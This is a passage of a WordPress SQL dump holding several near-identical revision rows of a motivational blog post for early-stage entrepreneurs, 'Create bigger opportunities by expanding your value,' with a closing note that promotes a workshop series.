expression in creating value for others. Creating value begins by  engaging in what really matters to you! The world is already full of  me-too stuff!  Always remember this–value is in the eye of the  beholder!  You job is to grow the “quality of your presence” through  your unique gifts and strengths.\n\n<strong>To experience higher levels of business and life success, you  must first understand the difference between meeting demand and  creating it.  To get there, you must become a value creator as opposed  to an order taker!</strong>', 'Create bigger opportunities by expanding your value.', 0, '', 'inherit', 'open', 'open', '', '1192-revision', '', '', '2010-10-24 15:11:07', '2010-10-24 22:11:07', '', 1192, 'http://www.whitehotcenter.com/2010/10/24/1192-revision/', 0, 'revision', '', 0),
(1195, 2, '2010-10-24 15:12:03', '2010-10-24 22:12:03', '<img class="alignnone size-full wp-image-1193" title="opportunityvalue" src="http://whc.fbdev.org/wp-content/uploads/2010/10/opportunityvalue.gif" alt="" width="495" height="372" />\r\n<h2><!-- p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }div.Section1 { page: Section1; } --> If you are an entrepreneur at the early stages of success, most likely you have pondered how to get to your next level of growth. To create high value opportunities to pursue what matters to you, and be massively compensated for doing so, you must increase your value to others first.</h2>\r\nTo begin, let’s define an “early-stage entrepreneur” as a person  whose business currently sustains them at a  “self-employed” job level,  but not at the level where their financial flow allows them to be free  to do whatever they please in a day. If this describes where you’re at  right now in your business, allow me to add value to you!\r\n\r\nWithout exception, every entrepreneur I’ve worked has a burning  desire to attain a level of financial success that would enable them to  spend all their “work time” being creative and innovative, constantly in  a “state to play” with ideas that matter to them and bring more value  to the marketplace.\r\n\r\nEven when your vision about your greater future is clear, you still  need an answer you feel confident is the right one to the question of  “how do I get there?  Here are three ideas that may help you gain more  clarity about how you will go about creating more opportunity by  expanding your value to others.\r\n\r\n<strong>Supply is infinite, time is finite.</strong>\r\nThere are two variables in life common to all of us– potential and time. We all have the same amount of both in a day.\r\n\r\nThere is no more time available than what is provided in a day. You  choose how you occupy your time across the 24 hours in a single earth  rotation. Take 8 hours off for sleep, and the most you have available  for creating and experiencing what you want is 16 hours.\r\n\r\nOn the other hand, within a single earth rotation, there is infinite  supply of “potential opportunity” as yet unrealized. To attract this  potential opportunity to you, start by shifting your thinking from the  world of the finite or competitive plane (current perception of lack and  limitation) to the realm of the infinite or creative plane. (creativity  and innovation to create more value). It is from the latter that all  “value” is created. The source of infinite supply is found within  you–always available for your use. The formula is simple: perceived  value x leverage = wealth!\r\n\r\n<strong>Make a big space in your life for big changes.</strong>\r\nMost  early-stage entrepreneurs get stuck in the repetitive cycle of creating  “survival-based” results. At the early stage of the journey, it can  sometimes feel overwhelming just to keep the boat floating!  Many  believe outer forces–the state of the economy, not enough capital,  influential contacts, or cheaper competitors–determine their results.  Over time, many unconsciously set their efforts at the threshold of  survival, and believe greater achievements are simply not in the cards.\r\n\r\nStart by making a big space in your life for it to happen. Stop what  you are doing step back and make an assessment of your scene. Get rid of  anything in your business and your life that does not support you. And I  mean everything! Making a big space requires making big changes– in  your thinking, limiting beliefs, your habits, your relationships, your  support and organizational structure. Change whatever it takes to fill  the space with higher-value relationships that represent greater  financial appreciation for the value you provide.\r\n\r\nThen each year, set the bar ever higher. Instead of each client  transaction representing $10,000, over time it becomes $100,000. You  don’t increase your workload; you increase your perceived value to your  clients and customers. Embrace change and experience constant growth.  Growth leads to a constant increase in your confidence that ever-greater  opportunity will always seek you out.\r\n\r\n<strong>Be really good and really different.</strong>\r\nThis idea  might seem like an over simplification on the surface, but the effects  of this principle will have a profound impact on your ability to create  bigger opportunity to experience financial freedom through your  business.\r\n\r\nIn every product or service category there is commodization. We live  in a time and society where there is an abundance of everything in the  marketplace. Anytime there is an abundant supply, customers have  abundant choice. When customers have abundant choice among products or  services, they perceive little difference in the value they provide.  Consequently, they set the price.\r\n\r\nThis is what keeps many early-stage entrepreneurs on the short end of  the stick when it comes to their power in the buying cycle.  Whatever  you provide must be perceived as highly valued by your customers  (because your value is unique and in short supply) and highly  differentiated (from the slush pile of your competitors in the  marketplace).\r\n\r\nNever think for a moment that what has made another successful will  make you likewise. You have to follow your own unique path and  expression in creating value for others. Creating value begins by  engaging in what really matters to you! The world is already full of  me-too stuff!  Always remember this–value is in the eye of the  beholder!  You job is to grow the “quality of your presence” through  your unique gifts and strengths.\r\n\r\n<strong>To experience higher levels of business and life success, you  must first understand the difference between meeting demand and  creating it.  To get there, you must become a value creator as opposed  to an order taker!</strong>', 'Create bigger opportunities by expanding your value.', 0, '', 'inherit', 'open', 'open', '', '1192-revision-2', '', '', '2010-10-24 15:12:03', '2010-10-24 22:12:03', '', 1192, 'http://www.whitehotcenter.com/2010/10/24/1192-revision-2/', 0, 'revision', '', 0),
(1196, 2, '2010-10-24 15:12:25', '2010-10-24 22:12:25', '<img class="alignnone size-full wp-image-1193" title="opportunityvalue" src="http://whc.fbdev.org/wp-content/uploads/2010/10/opportunityvalue.gif" alt="" width="495" height="372" />\r\n<h2><!-- p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }div.Section1 { page: Section1; } --> If you are an entrepreneur at the early stages of success, most likely you have pondered how to get to your next level of growth. To create high value opportunities to pursue what matters to you, and be massively compensated for doing so, you must increase your value to others first.</h2>\r\nTo begin, let’s define an “early-stage entrepreneur” as a person  whose business currently sustains them at a  “self-employed” job level,  but not at the level where their financial flow allows them to be free  to do whatever they please in a day. If this describes where you’re at  right now in your business, allow me to add value to you!\r\n\r\nWithout exception, every entrepreneur I’ve worked has a burning  desire to attain a level of financial success that would enable them to  spend all their “work time” being creative and innovative, constantly in  a “state to play” with ideas that matter to them and bring more value  to the marketplace.\r\n\r\nEven when your vision about your greater future is clear, you still  need an answer you feel confident is the right one to the question of  “how do I get there?  Here are three ideas that may help you gain more  clarity about how you will go about creating more opportunity by  expanding your value to others.\r\n\r\n<strong>Supply is infinite, time is finite.</strong>\r\nThere are two variables in life common to all of us– potential and time. We all have the same amount of both in a day.\r\n\r\nThere is no more time available than what is provided in a day. You  choose how you occupy your time across the 24 hours in a single earth  rotation. Take 8 hours off for sleep, and the most you have available  for creating and experiencing what you want is 16 hours.\r\n\r\nOn the other hand, within a single earth rotation, there is infinite  supply of “potential opportunity” as yet unrealized. To attract this  potential opportunity to you, start by shifting your thinking from the  world of the finite or competitive plane (current perception of lack and  limitation) to the realm of the infinite or creative plane. (creativity  and innovation to create more value). It is from the latter that all  “value” is created. The source of infinite supply is found within  you–always available for your use. The formula is simple: perceived  value x leverage = wealth!\r\n\r\n<strong>Make a big space in your life for big changes.</strong>\r\nMost  early-stage entrepreneurs get stuck in the repetitive cycle of creating  “survival-based” results. At the early stage of the journey, it can  sometimes feel overwhelming just to keep the boat floating!  Many  believe outer forces–the state of the economy, not enough capital,  influential contacts, or cheaper competitors–determine their results.  Over time, many unconsciously set their efforts at the threshold of  survival, and believe greater achievements are simply not in the cards.\r\n\r\nStart by making a big space in your life for it to happen. Stop what  you are doing step back and make an assessment of your scene. Get rid of  anything in your business and your life that does not support you. And I  mean everything! Making a big space requires making big changes– in  your thinking, limiting beliefs, your habits, your relationships, your  support and organizational structure. Change whatever it takes to fill  the space with higher-value relationships that represent greater  financial appreciation for the value you provide.\r\n\r\nThen each year, set the bar ever higher. Instead of each client  transaction representing $10,000, over time it becomes $100,000. You  don’t increase your workload; you increase your perceived value to your  clients and customers. Embrace change and experience constant growth.  Growth leads to a constant increase in your confidence that ever-greater  opportunity will always seek you out.\r\n\r\n<strong>Be really good and really different.</strong>\r\nThis idea  might seem like an over simplification on the surface, but the effects  of this principle will have a profound impact on your ability to create  bigger opportunity to experience financial freedom through your  business.\r\n\r\nIn every product or service category there is commodization. We live  in a time and society where there is an abundance of everything in the  marketplace. Anytime there is an abundant supply, customers have  abundant choice. When customers have abundant choice among products or  services, they perceive little difference in the value they provide.  Consequently, they set the price.\r\n\r\nThis is what keeps many early-stage entrepreneurs on the short end of  the stick when it comes to their power in the buying cycle.  Whatever  you provide must be perceived as highly valued by your customers  (because your value is unique and in short supply) and highly  differentiated (from the slush pile of your competitors in the  marketplace).\r\n\r\nNever think for a moment that what has made another successful will  make you likewise. You have to follow your own unique path and  expression in creating value for others. Creating value begins by  engaging in what really matters to you! The world is already full of  me-too stuff!  Always remember this–value is in the eye of the  beholder!  You job is to grow the “quality of your presence” through  your unique gifts and strengths.\r\n\r\n<strong>To experience higher levels of business and life success, you  must first understand the difference between meeting demand and  creating it.  To get there, you must become a value creator as opposed  to an order taker!</strong>', 'Create bigger opportunities by expanding your value.', 0, '', 'inherit', 'open', 'open', '', '1192-revision-3', '', '', '2010-10-24 15:12:25', '2010-10-24 22:12:25', '', 1192, 'http://www.whitehotcenter.com/2010/10/24/1192-revision-3/', 0, 'revision', '', 0),
(1197, 2, '2010-10-24 15:17:24', '2010-10-24 22:17:24', '<img class="alignnone size-full wp-image-1193" title="opportunityvalue" src="http://whc.fbdev.org/wp-content/uploads/2010/10/opportunityvalue.gif" alt="" width="495" height="372" />\r\n<h2><!-- p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }div.Section1 { page: Section1; } --> If you are an entrepreneur at the early stages of success, most likely you have pondered how to get to your next level of growth. To create high value opportunities to pursue what matters to you, and be massively compensated for doing so, you must increase your value to others first.</h2>\r\nTo begin, let’s define an “early-stage entrepreneur” as a person  whose business currently sustains them at a  “self-employed” job level,  but not at the level where their financial flow allows them to be free  to do whatever they please in a day. If this describes where you’re at  right now in your business, allow me to add value to you!\r\n\r\nWithout exception, every entrepreneur I’ve worked has a burning  desire to attain a level of financial success that would enable them to  spend all their “work time” being creative and innovative, constantly in  a “state to play” with ideas that matter to them and bring more value  to the marketplace.\r\n\r\nEven when your vision about your greater future is clear, you still  need an answer you feel confident is the right one to the question of  “how do I get there?  Here are three ideas that may help you gain more  clarity about how you will go about creating more opportunity by  expanding your value to others.\r\n\r\n<strong>Supply is infinite, time is finite.</strong>\r\nThere are two variables in life common to all of us– potential and time. We all have the same amount of both in a day.\r\n\r\nThere is no more time available than what is provided in a day. You  choose how you occupy your time across the 24 hours in a single earth  rotation. Take 8 hours off for sleep, and the most you have available  for creating and experiencing what you want is 16 hours.\r\n\r\nOn the other hand, within a single earth rotation, there is infinite  supply of “potential opportunity” as yet unrealized. To attract this  potential opportunity to you, start by shifting your thinking from the  world of the finite or competitive plane (current perception of lack and  limitation) to the realm of the infinite or creative plane. (creativity  and innovation to create more value). It is from the latter that all  “value” is created. The source of infinite supply is found within  you–always available for your use. The formula is simple: perceived  value x leverage = wealth!\r\n\r\n<strong>Make a big space in your life for big changes.</strong>\r\nMost  early-stage entrepreneurs get stuck in the repetitive cycle of creating  “survival-based” results. At the early stage of the journey, it can  sometimes feel overwhelming just to keep the boat floating!  Many  believe outer forces–the state of the economy, not enough capital,  influential contacts, or cheaper competitors–determine their results.  Over time, many unconsciously set their efforts at the threshold of  survival, and believe greater achievements are simply not in the cards.\r\n\r\nStart by making a big space in your life for it to happen. Stop what  you are doing step back and make an assessment of your scene. Get rid of  anything in your business and your life that does not support you. And I  mean everything! Making a big space requires making big changes– in  your thinking, limiting beliefs, your habits, your relationships, your  support and organizational structure. Change whatever it takes to fill  the space with higher-value relationships that represent greater  financial appreciation for the value you provide.\r\n\r\nThen each year, set the bar ever higher. Instead of each client  transaction representing $10,000, over time it becomes $100,000. You  don’t increase your workload; you increase your perceived value to your  clients and customers. Embrace change and experience constant growth.  Growth leads to a constant increase in your confidence that ever-greater  opportunity will always seek you out.\r\n\r\n<strong>Be really good and really different.</strong>\r\nThis idea  might seem like an over simplification on the surface, but the effects  of this principle will have a profound impact on your ability to create  bigger opportunity to experience financial freedom through your  business.\r\n\r\nIn every product or service category there is commodization. We live  in a time and society where there is an abundance of everything in the  marketplace. Anytime there is an abundant supply, customers have  abundant choice. When customers have abundant choice among products or  services, they perceive little difference in the value they provide.  Consequently, they set the price.\r\n\r\nThis is what keeps many early-stage entrepreneurs on the short end of  the stick when it comes to their power in the buying cycle.  Whatever  you provide must be perceived as highly valued by your customers  (because your value is unique and in short supply) and highly  differentiated (from the slush pile of your competitors in the  marketplace).\r\n\r\nNever think for a moment that what has made another successful will  make you likewise. You have to follow your own unique path and  expression in creating value for others. Creating value begins by  engaging in what really matters to you! The world is already full of  me-too stuff!  Always remember this–value is in the eye of the  beholder!  You job is to grow the “quality of your presence” through  your unique gifts and strengths.\r\n\r\n<strong>To experience higher levels of business and life success, you  must first understand the difference between meeting demand and  creating it.  To get there, you must become a value creator as opposed  to an order taker!</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas we will engage ourselves in during a series four 2-day <a title="Quantum Leap Workshop Information" href="../hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater  clarity and confidence to define a compelling vision for your future–  and begin to achieve your goal of taking your business to the next level  in an easy, relaxed, and joyful way. If you are interesting in  attending, <a href="http://whc.fbdev.org/contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create bigger opportunities by expanding your value.', 0, '', 'inherit', 'open', 'open', '', '1192-revision-4', '', '', '2010-10-24 15:17:24', '2010-10-24 22:17:24', '', 1192, 'http://www.whitehotcenter.com/2010/10/24/1192-revision-4/', 0, 'revision', '', 0),
(1198, 2, '2010-10-24 15:17:36', '2010-10-24 22:17:36', '<img class="alignnone size-full wp-image-1193" title="opportunityvalue" src="http://whc.fbdev.org/wp-content/uploads/2010/10/opportunityvalue.gif" alt="" width="495" height="372" />\r\n<h2><!-- p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }div.Section1 { page: Section1; } --> If you are an entrepreneur at the early stages of success, most likely you have pondered how to get to your next level of growth. To create high value opportunities to pursue what matters to you, and be massively compensated for doing so, you must increase your value to others first.</h2>\r\nTo begin, let’s define an “early-stage entrepreneur” as a person  whose business currently sustains them at a  “self-employed” job level,  but not at the level where their financial flow allows them to be free  to do whatever they please in a day. If this describes where you’re at  right now in your business, allow me to add value to you!\r\n\r\nWithout exception, every entrepreneur I’ve worked has a burning  desire to attain a level of financial success that would enable them to  spend all their “work time” being creative and innovative, constantly in  a “state to play” with ideas that matter to them and bring more value  to the marketplace.\r\n\r\nEven when your vision about your greater future is clear, you still  need an answer you feel confident is the right one to the question of  “how do I get there?  Here are three ideas that may help you gain more  clarity about how you will go about creating more opportunity by  expanding your value to others.\r\n\r\n<strong>Supply is infinite, time is finite.</strong>\r\nThere are two variables in life common to all of us– potential and time. We all have the same amount of both in a day.\r\n\r\nThere is no more time available than what is provided in a day. You  choose how you occupy your time across the 24 hours in a single earth  rotation. Take 8 hours off for sleep, and the most you have available  for creating and experiencing what you want is 16 hours.\r\n\r\nOn the other hand, within a single earth rotation, there is infinite  supply of “potential opportunity” as yet unrealized. To attract this  potential opportunity to you, start by shifting your thinking from the  world of the finite or competitive plane (current perception of lack and  limitation) to the realm of the infinite or creative plane. (creativity  and innovation to create more value). It is from the latter that all  “value” is created. The source of infinite supply is found within  you–always available for your use. The formula is simple: perceived  value x leverage = wealth!\r\n\r\n<strong>Make a big space in your life for big changes.</strong>\r\nMost  early-stage entrepreneurs get stuck in the repetitive cycle of creating  “survival-based” results. At the early stage of the journey, it can  sometimes feel overwhelming just to keep the boat floating!  Many  believe outer forces–the state of the economy, not enough capital,  influential contacts, or cheaper competitors–determine their results.  Over time, many unconsciously set their efforts at the threshold of  survival, and believe greater achievements are simply not in the cards.\r\n\r\nStart by making a big space in your life for it to happen. Stop what  you are doing step back and make an assessment of your scene. Get rid of  anything in your business and your life that does not support you. And I  mean everything! Making a big space requires making big changes– in  your thinking, limiting beliefs, your habits, your relationships, your  support and organizational structure. Change whatever it takes to fill  the space with higher-value relationships that represent greater  financial appreciation for the value you provide.\r\n\r\nThen each year, set the bar ever higher. Instead of each client  transaction representing $10,000, over time it becomes $100,000. You  don’t increase your workload; you increase your perceived value to your  clients and customers. Embrace change and experience constant growth.  Growth leads to a constant increase in your confidence that ever-greater  opportunity will always seek you out.\r\n\r\n<strong>Be really good and really different.</strong>\r\nThis idea  might seem like an over simplification on the surface, but the effects  of this principle will have a profound impact on your ability to create  bigger opportunity to experience financial freedom through your  business.\r\n\r\nIn every product or service category there is commodization. We live  in a time and society where there is an abundance of everything in the  marketplace. Anytime there is an abundant supply, customers have  abundant choice. When customers have abundant choice among products or  services, they perceive little difference in the value they provide.  Consequently, they set the price.\r\n\r\nThis is what keeps many early-stage entrepreneurs on the short end of  the stick when it comes to their power in the buying cycle.  Whatever  you provide must be perceived as highly valued by your customers  (because your value is unique and in short supply) and highly  differentiated (from the slush pile of your competitors in the  marketplace).\r\n\r\nNever think for a moment that what has made another successful will  make you likewise. You have to follow your own unique path and  expression in creating value for others. Creating value begins by  engaging in what really matters to you! The world is already full of  me-too stuff!  Always remember this–value is in the eye of the  beholder!  You job is to grow the “quality of your presence” through  your unique gifts and strengths.\r\n\r\n<strong>To experience higher levels of business and life success, you  must first understand the difference between meeting demand and  creating it.  To get there, you must become a value creator as opposed  to an order taker!</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas we will engage ourselves in during a series four 2-day <a title="Quantum Leap Workshop Information" href="../hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater  clarity and confidence to define a compelling vision for your future–  and begin to achieve your goal of taking your business to the next level  in an easy, relaxed, and joyful way. If you are interesting in  attending, <a href="http://whc.fbdev.org/contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create bigger opportunities by expanding your value.', 0, '', 'inherit', 'open', 'open', '', '1192-revision-5', '', '', '2010-10-24 15:17:36', '2010-10-24 22:17:36', '', 1192, 'http://www.whitehotcenter.com/2010/10/24/1192-revision-5/', 0, 'revision', '', 0),
(1199, 2, '2010-10-24 15:22:44', '2010-10-24 22:22:44', '<img class="alignnone size-full wp-image-1193" title="opportunityvalue" src="http://whc.fbdev.org/wp-content/uploads/2010/10/opportunityvalue.gif" alt="" width="495" height="372" />\r\n<h2><!-- p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }div.Section1 { page: Section1; } --> If you are an entrepreneur at the early stages of success, most likely you have pondered how to get to your business to next level of growth. To create high value opportunities to pursue what matters to you, and be massively compensated for doing so, you must increase your value to others first.</h2>\r\nTo begin, let’s define an “early-stage entrepreneur” as a person  whose business currently sustains them at a  “self-employed” job level,  but not at the level where their financial flow allows them to be free  to do whatever they please in a day. If this describes where you’re at  right now in your business, allow me to add value to you!\r\n\r\nWithout exception, every entrepreneur I’ve worked has a burning  desire to attain a level of financial success that would enable them to  spend all their “work time” being creative and innovative, constantly in  a “state to play” with ideas that matter to them and bring more value  to the marketplace.\r\n\r\nEven when your vision about your greater future is clear, you still  need an answer you feel confident is the right one to the question of  “how do I get there?  Here are three ideas that may help you gain more  clarity about how you will go about creating more opportunity by  expanding your value to others.\r\n\r\n<strong>Supply is infinite, time is finite.</strong>\r\nThere are two variables in life common to all of us– potential and time. We all have the same amount of both in a day.\r\n\r\nThere is no more time available than what is provided in a day. You  choose how you occupy your time across the 24 hours in a single earth  rotation. Take 8 hours off for sleep, and the most you have available  for creating and experiencing what you want is 16 hours.\r\n\r\nOn the other hand, within a single earth rotation, there is infinite  supply of “potential opportunity” as yet unrealized. To attract this  potential opportunity to you, start by shifting your thinking from the  world of the finite or competitive plane (current perception of lack and  limitation) to the realm of the infinite or creative plane. (creativity  and innovation to create more value). It is from the latter that all  “value” is created. The source of infinite supply is found within  you–always available for your use. The formula is simple: perceived  value x leverage = wealth!\r\n\r\n<strong>Make a big space in your life for big changes.</strong>\r\nMost  early-stage entrepreneurs get stuck in the repetitive cycle of creating  “survival-based” results. At the early stage of the journey, it can  sometimes feel overwhelming just to keep the boat floating!  Many  believe outer forces–the state of the economy, not enough capital,  influential contacts, or cheaper competitors–determine their results.  Over time, many unconsciously set their efforts at the threshold of  survival, and believe greater achievements are simply not in the cards.\r\n\r\nStart by making a big space in your life for it to happen. Stop what  you are doing step back and make an assessment of your scene. Get rid of  anything in your business and your life that does not support you. And I  mean everything! Making a big space requires making big changes– in  your thinking, limiting beliefs, your habits, your relationships, your  support and organizational structure. Change whatever it takes to fill  the space with higher-value relationships that represent greater  financial appreciation for the value you provide.\r\n\r\nThen each year, set the bar ever higher. Instead of each client  transaction representing $10,000, over time it becomes $100,000. You  don’t increase your workload; you increase your perceived value to your  clients and customers. Embrace change and experience constant growth.  Growth leads to a constant increase in your confidence that ever-greater  opportunity will always seek you out.\r\n\r\n<strong>Be really good and really different.</strong>\r\nThis idea  might seem like an over simplification on the surface, but the effects  of this principle will have a profound impact on your ability to create  bigger opportunity to experience financial freedom through your  business.\r\n\r\nIn every product or service category there is commodization. We live  in a time and society where there is an abundance of everything in the  marketplace. Anytime there is an abundant supply, customers have  abundant choice. When customers have abundant choice among products or  services, they perceive little difference in the value they provide.  Consequently, they set the price.\r\n\r\nThis is what keeps many early-stage entrepreneurs on the short end of  the stick when it comes to their power in the buying cycle.  Whatever  you provide must be perceived as highly valued by your customers  (because your value is unique and in short supply) and highly  differentiated (from the slush pile of your competitors in the  marketplace).\r\n\r\nNever think for a moment that what has made another successful will  make you likewise. You have to follow your own unique path and  expression in creating value for others. Creating value begins by  engaging in what really matters to you! The world is already full of  me-too stuff!  Always remember this–value is in the eye of the  beholder!  You job is to grow the “quality of your presence” through  your unique gifts and strengths.\r\n\r\n<strong>To experience higher levels of business and life success, you  must first understand the difference between meeting demand and  creating it.  To get there, you must become a value creator as opposed  to an order taker!</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas we will engage ourselves in during a series four 2-day <a title="Quantum Leap Workshop Information" href="../hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater  clarity and confidence to define a compelling vision for your future–  and begin to achieve your goal of taking your business to the next level  in an easy, relaxed, and joyful way. If you are interesting in  attending, <a href="http://whc.fbdev.org/contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create bigger opportunities by expanding your value.', 0, '', 'inherit', 'open', 'open', '', '1192-revision-6', '', '', '2010-10-24 15:22:44', '2010-10-24 22:22:44', '', 1192, 'http://www.whitehotcenter.com/2010/10/24/1192-revision-6/', 0, 'revision', '', 0);
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(1200, 2, '2010-10-24 15:22:53', '2010-10-24 22:22:53', '<img class="alignnone size-full wp-image-1193" title="opportunityvalue" src="http://whc.fbdev.org/wp-content/uploads/2010/10/opportunityvalue.gif" alt="" width="495" height="372" />\r\n<h2><!-- p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }div.Section1 { page: Section1; } --> If you are an entrepreneur at the early stages of success, most likely you have pondered how to get to your business to next level of growth. To create high value opportunities to pursue what matters to you, and be massively compensated for doing so, you must increase your value to others first.</h2>\r\nTo begin, let’s define an “early-stage entrepreneur” as a person  whose business currently sustains them at a  “self-employed” job level,  but not at the level where their financial flow allows them to be free  to do whatever they please in a day. If this describes where you’re at  right now in your business, allow me to add value to you!\r\n\r\nWithout exception, every entrepreneur I’ve worked has a burning  desire to attain a level of financial success that would enable them to  spend all their “work time” being creative and innovative, constantly in  a “state to play” with ideas that matter to them and bring more value  to the marketplace.\r\n\r\nEven when your vision about your greater future is clear, you still  need an answer you feel confident is the right one to the question of  “how do I get there?  Here are three ideas that may help you gain more  clarity about how you will go about creating more opportunity by  expanding your value to others.\r\n\r\n<strong>Supply is infinite, time is finite.</strong>\r\nThere are two variables in life common to all of us– potential and time. We all have the same amount of both in a day.\r\n\r\nThere is no more time available than what is provided in a day. You  choose how you occupy your time across the 24 hours in a single earth  rotation. Take 8 hours off for sleep, and the most you have available  for creating and experiencing what you want is 16 hours.\r\n\r\nOn the other hand, within a single earth rotation, there is infinite  supply of “potential opportunity” as yet unrealized. To attract this  potential opportunity to you, start by shifting your thinking from the  world of the finite or competitive plane (current perception of lack and  limitation) to the realm of the infinite or creative plane. (creativity  and innovation to create more value). It is from the latter that all  “value” is created. The source of infinite supply is found within  you–always available for your use. The formula is simple: perceived  value x leverage = wealth!\r\n\r\n<strong>Make a big space in your life for big changes.</strong>\r\nMost  early-stage entrepreneurs get stuck in the repetitive cycle of creating  “survival-based” results. At the early stage of the journey, it can  sometimes feel overwhelming just to keep the boat floating!  Many  believe outer forces–the state of the economy, not enough capital,  influential contacts, or cheaper competitors–determine their results.  Over time, many unconsciously set their efforts at the threshold of  survival, and believe greater achievements are simply not in the cards.\r\n\r\nStart by making a big space in your life for it to happen. Stop what  you are doing step back and make an assessment of your scene. Get rid of  anything in your business and your life that does not support you. And I  mean everything! Making a big space requires making big changes– in  your thinking, limiting beliefs, your habits, your relationships, your  support and organizational structure. Change whatever it takes to fill  the space with higher-value relationships that represent greater  financial appreciation for the value you provide.\r\n\r\nThen each year, set the bar ever higher. Instead of each client  transaction representing $10,000, over time it becomes $100,000. You  don’t increase your workload; you increase your perceived value to your  clients and customers. Embrace change and experience constant growth.  Growth leads to a constant increase in your confidence that ever-greater  opportunity will always seek you out.\r\n\r\n<strong>Be really good and really different.</strong>\r\nThis idea  might seem like an over simplification on the surface, but the effects  of this principle will have a profound impact on your ability to create  bigger opportunity to experience financial freedom through your  business.\r\n\r\nIn every product or service category there is commodization. We live  in a time and society where there is an abundance of everything in the  marketplace. Anytime there is an abundant supply, customers have  abundant choice. When customers have abundant choice among products or  services, they perceive little difference in the value they provide.  Consequently, they set the price.\r\n\r\nThis is what keeps many early-stage entrepreneurs on the short end of  the stick when it comes to their power in the buying cycle.  Whatever  you provide must be perceived as highly valued by your customers  (because your value is unique and in short supply) and highly  differentiated (from the slush pile of your competitors in the  marketplace).\r\n\r\nNever think for a moment that what has made another successful will  make you likewise. You have to follow your own unique path and  expression in creating value for others. Creating value begins by  engaging in what really matters to you! The world is already full of  me-too stuff!  Always remember this–value is in the eye of the  beholder!  You job is to grow the “quality of your presence” through  your unique gifts and strengths.\r\n\r\n<strong>To experience higher levels of business and life success, you  must first understand the difference between meeting demand and  creating it.  To get there, you must become a value creator as opposed  to an order taker!</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas we will engage ourselves in during a series four 2-day <a title="Quantum Leap Workshop Information" href="../hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater  clarity and confidence to define a compelling vision for your future–  and begin to achieve your goal of taking your business to the next level  in an easy, relaxed, and joyful way. If you are interesting in  attending, <a href="http://whc.fbdev.org/contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create bigger opportunities by expanding your value.', 0, '', 'inherit', 'open', 'open', '', '1192-revision-7', '', '', '2010-10-24 15:22:53', '2010-10-24 22:22:53', '', 1192, 'http://www.whitehotcenter.com/2010/10/24/1192-revision-7/', 0, 'revision', '', 0),
(1201, 2, '2010-10-24 15:30:22', '2010-10-24 22:30:22', '<img class="alignnone size-full wp-image-1193" title="opportunityvalue" src="http://whc.fbdev.org/wp-content/uploads/2010/10/opportunityvalue.gif" alt="" width="495" height="372" />\r\n<h2><!-- p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }div.Section1 { page: Section1; } --> If you are an entrepreneur at the early stages of success, most likely you have pondered how to get to your business to next level of growth. To create high value opportunities to pursue what matters to you, and be massively compensated for doing so, you must increase your value to others first.</h2>\r\nTo begin, let’s define an “early-stage entrepreneur” as a person  whose business currently sustains them at a  “self-employed” job level,  but not at the level where their financial flow allows them to be free  to do whatever they please in a day. If this describes where you’re at  right now in your business, allow me to add value to you!\r\n\r\nWithout exception, every entrepreneur I’ve worked has a burning  desire to attain a level of financial success that would enable them to  spend all their “work time” being creative and innovative, constantly in  a “state to play” with ideas that matter to them and bring more value  to the marketplace.\r\n\r\nEven when your vision about your greater future is clear, you still  need an answer you feel confident is the right one to the question of  “how do I get there?  Here are three ideas that may help you gain more  clarity about how you will go about creating more opportunity by  expanding your value to 